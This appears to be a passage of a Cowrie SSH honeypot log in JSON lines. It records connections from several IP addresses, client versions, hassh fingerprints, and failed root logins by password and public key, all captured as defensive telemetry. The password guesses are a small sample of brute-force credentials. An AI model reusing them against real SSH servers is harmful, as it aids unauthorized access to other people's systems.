istp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:48.587360Z","src_ip":"37.143.61.84","session":"fbe7dde1ddce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd.123456","message":"login attempt [root/Dd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:51.102136Z","src_ip":"37.143.61.84","session":"fbe7dde1ddce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:52.605517Z","src_ip":"37.143.61.84","session":"fbe7dde1ddce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45040,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ca16ef6bde","protocol":"ssh","message":"New connection: 193.32.162.151:45040 (159.203.135.109:22) [session: a7ca16ef6bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:07.738166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:07.743090Z","src_ip":"193.32.162.151","session":"a7ca16ef6bde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:07.849130Z","src_ip":"193.32.162.151","session":"a7ca16ef6bde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pgj-heu05HQM=bMvz","message":"login attempt [root/pgj-heu05HQM=bMvz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:08.173259Z","src_ip":"193.32.162.151","session":"a7ca16ef6bde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:09.289404Z","src_ip":"193.32.162.151","session":"a7ca16ef6bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":59090,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac65edc4bc6","protocol":"ssh","message":"New connection: 62.133.63.178:59090 (10.17.0.5:22) [session: 7ac65edc4bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:13.445907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:13.451102Z","src_ip":"62.133.63.178","session":"7ac65edc4bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:13.571642Z","src_ip":"62.133.63.178","session":"7ac65edc4bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qw","message":"login attempt [root/12345qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:13.934892Z","src_ip":"62.133.63.178","session":"7ac65edc4bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:15.057974Z","src_ip":"62.133.63.178","session":"7ac65edc4bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":33330,"dst_ip":"10.17.0.5","dst_port":22,"session":"37f768b011d6","protocol":"ssh","message":"New connection: 170.106.115.61:33330 (10.17.0.5:22) [session: 37f768b011d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:23.363607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:23.368276Z","src_ip":"170.106.115.61","session":"37f768b011d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:23.461297Z","src_ip":"170.106.115.61","session":"37f768b011d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [root/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:23.770188Z","src_ip":"170.106.115.61","session":"37f768b011d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:24.843435Z","src_ip":"170.106.115.61","session":"37f768b011d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.38.174","src_port":54074,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50eb47812ad","protocol":"ssh","message":"New connection: 104.243.38.174:54074 (10.17.0.5:22) [session: d50eb47812ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.050795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.055590Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.062846Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:67:ef:b4:9d:0e:f7:08:a8:96:4f:6f:eb:8e:fa:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRyICka05bMsMqtVyGXx3QyWGtulu6ej9oXXWqds5c6o/172OM2Uo/0np3a6GQbhZrof6E9uSAxP5ANbPMFcoiE9RM51xbUZY1QzNHHdWWWsjYWfA4YtD4vU7aRQyJxfBbGNoBaPx6RQ1y1TUjFfNXNR/5sT0E9ynRJzRoSeGan+4RCKI8PtayCftQQNW2/gBsoM9igOZIh+I8vUbEEFbYUzJrV63m9FVz798eRcz8TRZQZQ30sctxoqo3xQVdSwORBPDrgfS8vrfuPFzG8MQ2KWLUAdyidBkUOQYpqnMs0tR1mP8vZ9RkC2Ww5sw3dDIQiQEQS5V16WvOco7d4RXJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:67:ef:b4:9d:0e:f7:08:a8:96:4f:6f:eb:8e:fa:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.083418Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:67:ef:b4:9d:0e:f7:08:a8:96:4f:6f:eb:8e:fa:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRyICka05bMsMqtVyGXx3QyWGtulu6ej9oXXWqds5c6o/172OM2Uo/0np3a6GQbhZrof6E9uSAxP5ANbPMFcoiE9RM51xbUZY1QzNHHdWWWsjYWfA4YtD4vU7aRQyJxfBbGNoBaPx6RQ1y1TUjFfNXNR/5sT0E9ynRJzRoSeGan+4RCKI8PtayCftQQNW2/gBsoM9igOZIh+I8vUbEEFbYUzJrV63m9FVz798eRcz8TRZQZQ30sctxoqo3xQVdSwORBPDrgfS8vrfuPFzG8MQ2KWLUAdyidBkUOQYpqnMs0tR1mP8vZ9RkC2Ww5sw3dDIQiQEQS5V16WvOco7d4RXJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.087292Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:61:d4:83:03:92:f7:cd:24:3b:be:ee:6f:64:72:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+l/sGIqjLeUzAalZULtodDcgvRI2ZLnsJhY87YFn0u5IlvyJ9FV03GtwqGCKpUOQMtmnvMIe7XPumFzxnC6TlU+qZZb1pkdv4zPrGg8r7WkfyC3Z54AU0mwR4XfFCPYFzHoryQan2SN+yfncmI7uy4WCXvEhGi5B3arbSlYDg///4I7HcVxYUgBMYIPyB+8Q5cMzkhcbmxU7iG3y01p8ub5NTIzxVxx9cl9oUcdGgG6qJw8EdsTzaPUvETBdP/vykPlqEnIoNlGYojHYgHE/YpyiVXkozaWx3F5AGrWdAPA95KdZmPj+Ngz0oB9LeyHpaUkm9SetNySoRxsmCbETr1yt+geiRsgc/AYYQe7lfPppqB9qd392ntxDoMsBkPrHt8NJO2gGcwVWoSuNRnPFt5u5XX9V7W2/HT9ibkHj7/uD/IUcYE1u9eFtEj52w3RrkjWmvUWRh83Lbb7pGTrq74nlptruaWIFsW/p94wZLVrn8M5iHdyIsTy9bVfPpncDxu2xvK0a+INIKqZgzDDVreogMR7YQA/bIQ/KdpbLGo2nvf1Ujdp1nav6KoKpjc4NSVQKMpkZpG/RymBz+bQVNHDrr5vIkahBtTchhBT+IozEXe3NzfVaCpQrz3xn+lQ269mW9bbOiq1i/W8qQY1vV6zdAeqoGPUG95Z3Bjy4VCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:61:d4:83:03:92:f7:cd:24:3b:be:ee:6f:64:72:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.094701Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:61:d4:83:03:92:f7:cd:24:3b:be:ee:6f:64:72:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+l/sGIqjLeUzAalZULtodDcgvRI2ZLnsJhY87YFn0u5IlvyJ9FV03GtwqGCKpUOQMtmnvMIe7XPumFzxnC6TlU+qZZb1pkdv4zPrGg8r7WkfyC3Z54AU0mwR4XfFCPYFzHoryQan2SN+yfncmI7uy4WCXvEhGi5B3arbSlYDg///4I7HcVxYUgBMYIPyB+8Q5cMzkhcbmxU7iG3y01p8ub5NTIzxVxx9cl9oUcdGgG6qJw8EdsTzaPUvETBdP/vykPlqEnIoNlGYojHYgHE/YpyiVXkozaWx3F5AGrWdAPA95KdZmPj+Ngz0oB9LeyHpaUkm9SetNySoRxsmCbETr1yt+geiRsgc/AYYQe7lfPppqB9qd392ntxDoMsBkPrHt8NJO2gGcwVWoSuNRnPFt5u5XX9V7W2/HT9ibkHj7/uD/IUcYE1u9eFtEj52w3RrkjWmvUWRh83Lbb7pGTrq74nlptruaWIFsW/p94wZLVrn8M5iHdyIsTy9bVfPpncDxu2xvK0a+INIKqZgzDDVreogMR7YQA/bIQ/KdpbLGo2nvf1Ujdp1nav6KoKpjc4NSVQKMpkZpG/RymBz+bQVNHDrr5vIkahBtTchhBT+IozEXe3NzfVaCpQrz3xn+lQ269mW9bbOiq1i/W8qQY1vV6zdAeqoGPUG95Z3Bjy4VCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.098910Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:e1:8a:55:c8:20:f3:c3:43:ca:81:f4:11:4c:14:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIsYr3mmflL9qJssnG+WjWhy94hKvbm97oVNTp1wmzDRP8jXrfuX+GnG9nBeCtSuYtJng9Cx/1wYSaMJ85X36+jWbzgtJQUoS3HiqCYLZF7X8kW16vG2RFtpN1Uy3LDbFpfdo/lwytit1puRY191ZW8TUBmAw24jVg61/oEia0EV/P4u8xkeI1ahuiGWfrCeuer/amWROYEpEa6WbhXNOVBp+jWlmBRbn3KH4RcSgmAA30foqSYyO1QxbRNXQnWXYpC40pEwnWBoZ/UtoD6Zo8e9Ng9YHBpkYDEI15KBA4O5t4bbIbnCHNUIbswm/IKhXA5RMzoDIlYXijxrZL4kUVABjT81Wfa1lZuroiwSagPzjBocCR/hi+LIQyJOJXXkTS6fB7eMeK85yj73s+Qq64NJJzpCU3avSK5gB8eMnOQpBP7sXMnGiTRpsC+gErdCvAld15pMkj1GcfQpGaie/lSu6UgJyrife+Ys96oflIFJqt0HyTMnR8DKt7SM2K+43fRwby5DgIPOk2YA70dCVZ53DfzGX8sRAKjtdPYgd3reqYBTR8hVv9acLH91KNMqIax/ycrewnu1dC6dqe9swyxnHTjW47kEhQm82rtGJQsdZMHFNBcyPNzzj/4FRWx3ptBQVCkkwLVwyFwuI7PgRCvsYrAALPpSc34YBFoJq1Tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:e1:8a:55:c8:20:f3:c3:43:ca:81:f4:11:4c:14:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.107706Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:e1:8a:55:c8:20:f3:c3:43:ca:81:f4:11:4c:14:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIsYr3mmflL9qJssnG+WjWhy94hKvbm97oVNTp1wmzDRP8jXrfuX+GnG9nBeCtSuYtJng9Cx/1wYSaMJ85X36+jWbzgtJQUoS3HiqCYLZF7X8kW16vG2RFtpN1Uy3LDbFpfdo/lwytit1puRY191ZW8TUBmAw24jVg61/oEia0EV/P4u8xkeI1ahuiGWfrCeuer/amWROYEpEa6WbhXNOVBp+jWlmBRbn3KH4RcSgmAA30foqSYyO1QxbRNXQnWXYpC40pEwnWBoZ/UtoD6Zo8e9Ng9YHBpkYDEI15KBA4O5t4bbIbnCHNUIbswm/IKhXA5RMzoDIlYXijxrZL4kUVABjT81Wfa1lZuroiwSagPzjBocCR/hi+LIQyJOJXXkTS6fB7eMeK85yj73s+Qq64NJJzpCU3avSK5gB8eMnOQpBP7sXMnGiTRpsC+gErdCvAld15pMkj1GcfQpGaie/lSu6UgJyrife+Ys96oflIFJqt0HyTMnR8DKt7SM2K+43fRwby5DgIPOk2YA70dCVZ53DfzGX8sRAKjtdPYgd3reqYBTR8hVv9acLH91KNMqIax/ycrewnu1dC6dqe9swyxnHTjW47kEhQm82rtGJQsdZMHFNBcyPNzzj/4FRWx3ptBQVCkkwLVwyFwuI7PgRCvsYrAALPpSc34YBFoJq1Tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.110676Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:52:35:67:2c:77:ca:bf:b2:16:87:60:51:77:d5:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSALarsObiztsh2Dq28gnKd8dz8E0w2JDQ+vmZc2/Et/zstDxZJC+RMA/xVi22rZyb//5HuJymCqGft5C7c8sJcYE+GK5X+TStgneXko05wQ0bY3GU8U6cugl1FQ/alUnorD/sP3vm3ZTRLZy1L7MwqzmQnlQIXt+jwYSAPBw6jY4udnlNf8+UV2WMFjooitrR5zxlBq2UVkAStZSs5JZSofn7mFmqqOpstcCLLgkApDkjAmPuU+Kcmvuz8/sr+bOV+1RQQ0xfmmJOxKlNk2u7k891QEVTU1W9yuI+UIJ+DILzIXmSBCD/3qeCkhWo3VF8mSKf2R2KWr6q7eokOANbgIWGkxlFE3Jgh5FBLIm5yoK28oy2O5O7rIS9DepmQjtyOQefUyfwJ+7x2ryghvagqtbSEwdkdqp7oVDoFmLQb5MUHl06sQagXzBru50/BySCZ+5xLyb8gQrAj8vVvhM1X3xpiXLwBIpMBL4LC6H2wa6x7F2EzX7LC21bQQkr+vDTYiXTKFtnA9U2TIPfzBQ/a9kium4z8OUwLjEjxXxxyW5F4fhDYYhD1s7k/JJfjOpiZ+y4y+7JKsMZ6wykrwcx2t/rAlnKdmOaZG8zQHBCO0vfoyrMk8P/NIdULJlXHBdBjbULY4TSmOZ3QHX+/7iG19uJ/w6sk8th1bTTB+NFFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:52:35:67:2c:77:ca:bf:b2:16:87:60:51:77:d5:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.121908Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:52:35:67:2c:77:ca:bf:b2:16:87:60:51:77:d5:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSALarsObiztsh2Dq28gnKd8dz8E0w2JDQ+vmZc2/Et/zstDxZJC+RMA/xVi22rZyb//5HuJymCqGft5C7c8sJcYE+GK5X+TStgneXko05wQ0bY3GU8U6cugl1FQ/alUnorD/sP3vm3ZTRLZy1L7MwqzmQnlQIXt+jwYSAPBw6jY4udnlNf8+UV2WMFjooitrR5zxlBq2UVkAStZSs5JZSofn7mFmqqOpstcCLLgkApDkjAmPuU+Kcmvuz8/sr+bOV+1RQQ0xfmmJOxKlNk2u7k891QEVTU1W9yuI+UIJ+DILzIXmSBCD/3qeCkhWo3VF8mSKf2R2KWr6q7eokOANbgIWGkxlFE3Jgh5FBLIm5yoK28oy2O5O7rIS9DepmQjtyOQefUyfwJ+7x2ryghvagqtbSEwdkdqp7oVDoFmLQb5MUHl06sQagXzBru50/BySCZ+5xLyb8gQrAj8vVvhM1X3xpiXLwBIpMBL4LC6H2wa6x7F2EzX7LC21bQQkr+vDTYiXTKFtnA9U2TIPfzBQ/a9kium4z8OUwLjEjxXxxyW5F4fhDYYhD1s7k/JJfjOpiZ+y4y+7JKsMZ6wykrwcx2t/rAlnKdmOaZG8zQHBCO0vfoyrMk8P/NIdULJlXHBdBjbULY4TSmOZ3QHX+/7iG19uJ/w6sk8th1bTTB+NFFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.125534Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
